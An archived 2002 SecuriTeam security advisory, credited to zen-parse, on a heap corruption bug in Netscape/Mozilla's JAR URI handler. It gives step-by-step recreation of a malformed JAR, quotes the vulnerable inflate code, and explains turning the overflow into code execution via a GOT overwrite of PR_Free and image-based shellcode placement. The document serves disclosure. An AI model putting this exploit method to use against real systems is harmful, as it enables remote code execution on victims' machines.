

[UNIX] Netscape/Mozilla Contains an Exploitable Heap Corruption via JAR URI Handler

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0043.html>

From: support@securiteam.com

Date: 11/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: 17 Nov 2002 19:23:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Netscape/Mozilla Contains an Exploitable Heap Corruption via JAR URI Handler

SUMMARY

An exploitable heap corruption vulnerability has been found in Netscape/Mozilla via a malformed JAR file. The vulnerability will allow a remote attacker to cause it to execute arbitrary code without the need for user interaction.

DETAILS

Recreation:

Create a file, called test.gif with the following 6 'int's in it.

0x2d6e657a, 0x65726568, 0x00000000, 0x00000000, 0xdeadbeef, 0xfeef1600d

```
$ zip orig.jar test.gif
```

```
  adding: test.gif (deflated 17%)
```

```
$ unzip -v orig.jar
```

```
Archive: orig.jar
```

```
Length Method Size Ratio Date Time CRC-32 Name
```

```
 24 Defl:N 20 17% 07-08-02 16:11 b74deafe test.gif
```

```
-----  
 24 20 17% 1 file  
$ sed s/^printf "\x18"^\printf "\x01"^\g orig.jar >new.jar  
$ unzip -v new.jar  
Archive: new.jar  
Length Method Size Ratio Date Time CRC-32 Name  
-----  
 1 Defl:N 20 -1900% 07-08-02 16:11 b74deafe test.gif  
-----  
 1 20 -1900% 1 file  
$ cp new.jar ~/public_html
```

(This file only contains the 2 0x18s (24s) representing the realsize, so it works ok on this file. Actual exploit file was created with a hex editor)

In Netscape open:
jar:<http://host/~username/new.jar!/test.gif>

The jar file is retrieved, the requested file is found...

```
..  
584 //--- Read the item into memory  
585 // Inflate if necessary and save in mInflatedFileBuffer  
586 // for sequential reading.  
587 // (nsJAR needs the whole file in memory before passing it on)  
588 char* buf = (char*)PR_Malloc(item->realize);  
589 if (!buf) return ZIP_ERR_MEMORY;  
590 switch(item->compression)  
591 {  
592 case DEFLATED:  
593 result = InflateItem(item, 0, buf);  
594 break;  
..  
..
```

A buffer is allocated for storing the data. The realsize value is used for the length. (Size 1 actually allocates 8 bytes, hence the padding). The buf is the passed to the inflater.

```
..  
1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem* aItem,  
PRFileDesc* fOut,  
1269 char* bigBuf )  
..  
As bigBuf. Some temporary storage is made, and a chunk of decompression  
done.  
..  
1382 {  
1383 //--- copy inflated buffer to our big buffer  
1384 // Assertion makes sure we don't overflow bigBuf  
1385 PR_ASSERT( outpos + ZIP_BUFLLEN <= bigBufSize);  
1386 char* copyStart = bigBuf + outpos;  
1387 memcpy(copyStart, outbuf, ZIP_BUFLLEN);
```

1388 }

..

The assertion doesn't fire. It should probably be made into a normal check as well.

We now have a heap based buffer overflow.

At some point in the future, `chunk_free()` is called, and a SEGV will occur with while referencing the values `0xdeadbeef` and `0xfeel600d`.

If these are replaced with (address of a function pointer)-12 and (address of user supplied code), when the function pointer is called, the user supplied code will execute.

zen-parse have successfully changed the flow of control in tests, by overwriting the function pointer for `PR_Free` in the global offset table of `libsnp4.so`.

"Shellcode" can be supplied in a previously loaded image. (A large area can be filled using compressed image files stored in a .jar as the source).

ADDITIONAL INFORMATION

The information has been provided by <<mailto:zen-parse@gmx.net>>
zen-parse.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.